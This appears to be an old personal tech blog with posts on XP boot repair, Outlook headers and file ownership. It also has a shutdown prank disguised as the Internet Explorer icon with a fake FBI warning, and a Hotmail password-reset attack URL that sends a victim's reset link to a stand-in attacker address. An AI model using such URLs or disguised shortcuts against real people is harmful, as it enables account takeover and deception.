Jan 202010

01.27.09 by:: swytch

I’m sure many of you have encountered this devlish BSOD (blue screen of death) at least once in your lifetime.

unmountable boot volume

In my line of work, people tend to come to me in utter anguish praying they haven’t lost their files. Most of the time I can get the user up and running again within a short period of time but there are those times…. well, I’ll just re-emphasize the need to BACK UP YOUR DATA. :0)

Here are a few steps which I used to get my laptop back in shape. (steps below reference Windows XP but can be help troubleshooting other operating systems)

Step 1 – Located my Windows XP operating system disk. With my XP disk in the CD-rom drive, I powered up the computer. When prompted, I booted to the CD drive and not the internal hard drive. At that point I began to see XP starting its boot and restore process.

boot from windows CD

Step 2 – When prompted, select “R” to repair the current XP installation. You will then be brought to the Windows System Repair prompt shown below.

windows xp setup

Step 3 – I resolved the situation using both the FIXBOOT and FIXMBR commands.

windows fixboot and fixmbr commands

original photo: http://www.windowsnetworking.com

I ran the FIXBOOT command first, then rebooted the machine to see if it solved the problem. It didn’t so I proceeded with the FIXMBR command and tested again.

Step 4 – I returned to the Windows Recovery Console and ran the chkdsk command with a ” /r ” for recover.

chkdsk command

After I completed the steps above, I performed a full shutdown.
I booted the laptop and we were back in action! These are the steps that I took but know that there are many more commands you can use in the Windows Recovery Console.

Check out some of these sources for additional information:

http://support.microsoft.com/kb/297185
http://www.wikihow.com/Use-Windows-Recovery-Console-from-XP-CD
http://commandwindows.com/recovery.htm

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May 212008

05.21.08 by justy

This fake virus/prank has been out for some time now, but just in case some of you have never heard of it, here’s how to execute it. This prank is hilarious & fun stuff. My roommate had a heartattack. Right click your dekstop -> new -> click shortcut. The shortcut wizard will popup. Here is where you enter the text for the prank: “s” stands for seconds, “t” stands for time, “c” stands for comment (what you want the prank/virus to say). Im going to enter 2000 for the time. You can enter whichever time you prefer. In the comment section, write something clever. My roommate knows im in to hacking & exploits & knows that i “explore” daily, so for the comment i entered: “WARNING! DUE TO RECENT HACKING ACTIVITY ON A MILITARY WEBSITE, WE ARE SHUTTING DOWN YOUR COMPUTER PENDING AN INVESTIGATION. CONTACT WHEELER@FBI.GOV” See example below, notice the new shortcut icon is made:

create_shortcut

make sure your comment is in ” “. Click next -> it will then ask you to type in a name for the shortcut. Since my roommate uses internet explorer, I named it Internet Explorer. That way, when she goes to click on the internet shortcut, the prank pops up. See example below:

name for shortcut

Click finish. You will now notice on your desktop, the icon is a blank screen. I, personally, want to change that image of the icon to the real internet “E” image. That way it looks believable. But if you arent using the internet as the prank, you can change it to whichever icon image you would like. So, to change the image, you need to right click the shortcut & click properties. See below:

properties

it will bring you here to the properties screen. Make sure the tab is marked shortcut. Then click change icon & OK. Below:

properties screen

You will then scroll through the images & choose the one you want. I want the IE image, so i’ve selected it & then hit OK:

pick icon image

Hit apply -> then OK. I now see this:

chosen icon

Now, when my roommate clicks on the icon, the following will pop up:

haha!

Notice it says the comment i typed in & the time until shutdown. Homegirl flipped out! She’s like, “omg! the FBI is shutting down my computer, bc of hacking! & they are going to think i did it, bc this is my computer!” I said in a panic, “What are we going to do?” She replies, “What are YOU going to do?” She told me she would work on bail money! nice friend right? hahahahahahaha! Now, you are probably wondering, is this a real virus & how do i shut it off? No, its not a virus, but yes, it will shutdown your computer in the time you entered in. But, thats it. It’s just a simple “shutdown command”. Now, to disable it. Go to the start button -> hit run -> type in the following: shutdown -a & hit ok. Boom, its disabled. If you dont disable it & the user clicks on the icon again, it will do the same thing. See how to shut off below:

shut off

If you decide to do the prank, lemme know how it goes :p If you know of any other virus pranks, you can reach me at: justy@she-geeks.com

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May 162008

05.16.08 by justy

I’ve been doing some reading on input validation attacks to gain illegal access to email accounts. One example that i read was about Microsoft Corporation’s Hotmail & it was called the Reset Password Input Validation attack. Basically, this would allow the attacker to reset the password of any victim the attacker chose without any interruptions. Such as, the security question. The attacker could execute the attack by copy & pasting this URL into the address bar:

https://register.passport.net/emailpwdreset.srf?1c=1033&em=victim@hotmail.com&id=&cb=&prefem =attacker@attacker.com&rst=1

Of course the victim@hotmail is the password whose will be reset. The attacker@attacker.com sets up an account to where the victims reset password link will be sent to. After the above URL is entered in the address bar, an email will be sent to the attackers account with the link to reset the victims password. Can you believe something so simple as this URL string can allow access to sensitive information, even bypassing the security question? Pretty neat loophole. Of course, this loophole has been closed, but if you look at the email password reset URL now from hotmail, & play around with it a bit, you can figure it out :p As i am sure, the same can be done with other Web-based email service providers.

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Feb 062008

02.06.08 by swytch

Ok, how many of you out there are completely aggravated with ms office 2007? I mean some of the UI is nice but I can’t find what I need…and that makes me one angry grrl. The point of this drivel is outlook email headers. Most of us out there know how to get to the header information in previous versions of outlook so i won’t go into detail on that. Why would i look at email header information, you say? Who cares, you say? You care. i mean, if you’ve ever gotten SPAM (we know you have) and wanted to know where that pointless piece of electronic waste came from, you look at email headers. With that said, here is the skinny on checking header information in outlook 2007:

Viewing Full Header Information in MS Outlook 2007

The following information is useful in checking suspicious email messages:

Viewing Full Header Information in MS Outlook 2007:For Outlook 2007:

1. Open Outlook.
2. Open a message.
3. On the Message tab, in the Options group, click the Dialog Box Launcher icon image.
4. In the Message Options dialog box, the headers appear in the Internet headers box.

For older versions of Outlook:

1. Open Outlook.
2. Open the message you’d like to view headers for.
3. Click the View menu, and select Options…. The full headers will appear in a new window.

See how simple that was? The rest is up to you. Don’t say I didn’t warn ya!

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Feb 062008

02.06.08 by:: swytch

So, you’re on a network (with permission, of course) and suddenly you find you can no longer access a certain file or folder….what to do? Try this little trick:

To adjust, set or regain file/access permissions:Folder Permissions:

When permissions are lost on a file or folder, Administrator (or yourself) must take ownership of it to recover/adjust to the proper permissions.

Right click on the file in question and select Security.When prompted with a warning that “you only have rights to view”, click ok.

Click on the Advanced Tab.

Click on the Ownership Tab

To change ownership, select Administrator (or your username) and click OK.

Click OK again to close the window.

Now,

Right-click on that file again and adjust the rights to what they should be.
Ahhh…with any luck on your end, access is yours.

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